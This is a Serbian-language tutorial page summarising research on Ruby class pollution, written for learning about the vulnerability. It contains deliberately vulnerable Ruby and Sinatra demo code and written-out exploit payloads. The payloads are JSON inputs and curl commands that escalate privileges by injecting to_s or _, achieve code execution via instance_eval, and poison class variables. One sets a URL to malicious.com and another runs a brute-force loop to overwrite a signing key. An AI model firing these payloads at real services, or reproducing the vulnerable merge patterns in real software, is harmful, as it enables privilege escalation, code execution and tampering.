Ruby Class Pollution

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Ovo je sažetak posta https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

Spajanje po atributima

Primer:

# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'


# Base class for both Admin and Regular users
class Person

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end

private

# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|

if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end

protected

def check_cpu
puts "CPU check passed."
end

def check_memory
puts "Memory check passed."
end
end

# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)


# Perform a recursive merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize

# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check

end
end

if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Objašnjenje

  1. Privilege Escalation: Metod authorize proverava da li to_s vraća “Admin.” Injektovanjem novog atributa to_s preko JSON-a, napadač može naterati to_s metodu da vrati “Admin,” čime dobija neautorizovane privilegije.
  2. Remote Code Execution: U health_check, instance_eval izvršava metode navedene u protected_methods. Ako napadač ubaci sopstvene nazive metoda (npr. "puts 1"), instance_eval će ih izvršiti, što vodi do remote code execution (RCE).
  3. Ovo je moguće samo zato što postoji ranjiva eval instrukcija koja izvršava string vrednost tog atributa.
  4. Ograničenje uticaja: Ova ranjivost utiče samo na pojedinačne instance, ostavljajući ostale instance User i Admin nepromenjenim, čime se ograničava obim eksploatacije.

Stvarni slučajevi

ActiveSupport’s deep_merge

Ovo po defaultu nije ranjivo, ali se može učiniti ranjivim nečim poput:

# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)

merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end

self
end

Hashiejev deep_merge

Metod deep_merge iz biblioteke Hashie radi direktno sa atributima objekata umesto sa običnim hash-ovima. On sprečava zamenu metoda atributima prilikom merge-a uz neke izuzetke: atributi koji se završavaju sa _, !, ili ? i dalje se mogu merge-ovati u objekat.

Poseban slučaj je atribut _ sam za sebe. Samo _ je atribut koji obično vraća Mash objekat. I pošto je deo izuzetaka, moguće ga je izmeniti.

Pogledajte sledeći primer kako prosleđivanje {"_": "Admin"} omogućava zaobilaženje _.to_s == "Admin":

require 'json'
require 'hashie'

# Base class for both Admin and Regular users
class Person < Hashie::Mash

# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end

# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

end

# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})

# Perform a deep merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end

if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Hashie deep_merge mutation regression (2025): U Hashie 5.0.0, Hashie::Extensions::DeepMerge#deep_merge je mutirao ugnježdene pod-hasheve na receiver-u umesto da ih duplira. Spajanje podataka koje kontroliše napadač u dugotrajne objekte moglo je zbog toga da sačuva promene između zahteva, zagađujući ranije “sigurne” instance. Ponašanje je ispravljeno u 5.0.1.

Poison the Classes

U sledećem primeru moguće je pronaći klasu Person, i klase Admin i Regular koje nasleđuju klasu Person. Takođe postoji još jedna klasa nazvana **`KeySigner``:

require 'json'
require 'sinatra/base'
require 'net/http'

# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

def self.url
@@url
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

private

# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end

class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end

# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"

def self.signing_key
@@signing_key
end

def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end

class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)

user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)

user.merge_with(json_input)

{ status: 'merged' }.to_json
end

# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json

# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end

# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json

# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end

# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json

{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end

run! if app_file == $0
end

Poison Parent Class

Sa ovim payload-om:

curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

Moguće je izmeniti vrednost atributa @@url roditeljske klase Person.

Poisoning Other Classes

Sa ovim payload-om:

for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

Moguće je brute-force-ovati definisane klase i u nekom trenutku poison-ovati klasu KeySigner menjajući vrednost signing_key na injected-signing-key.\

References

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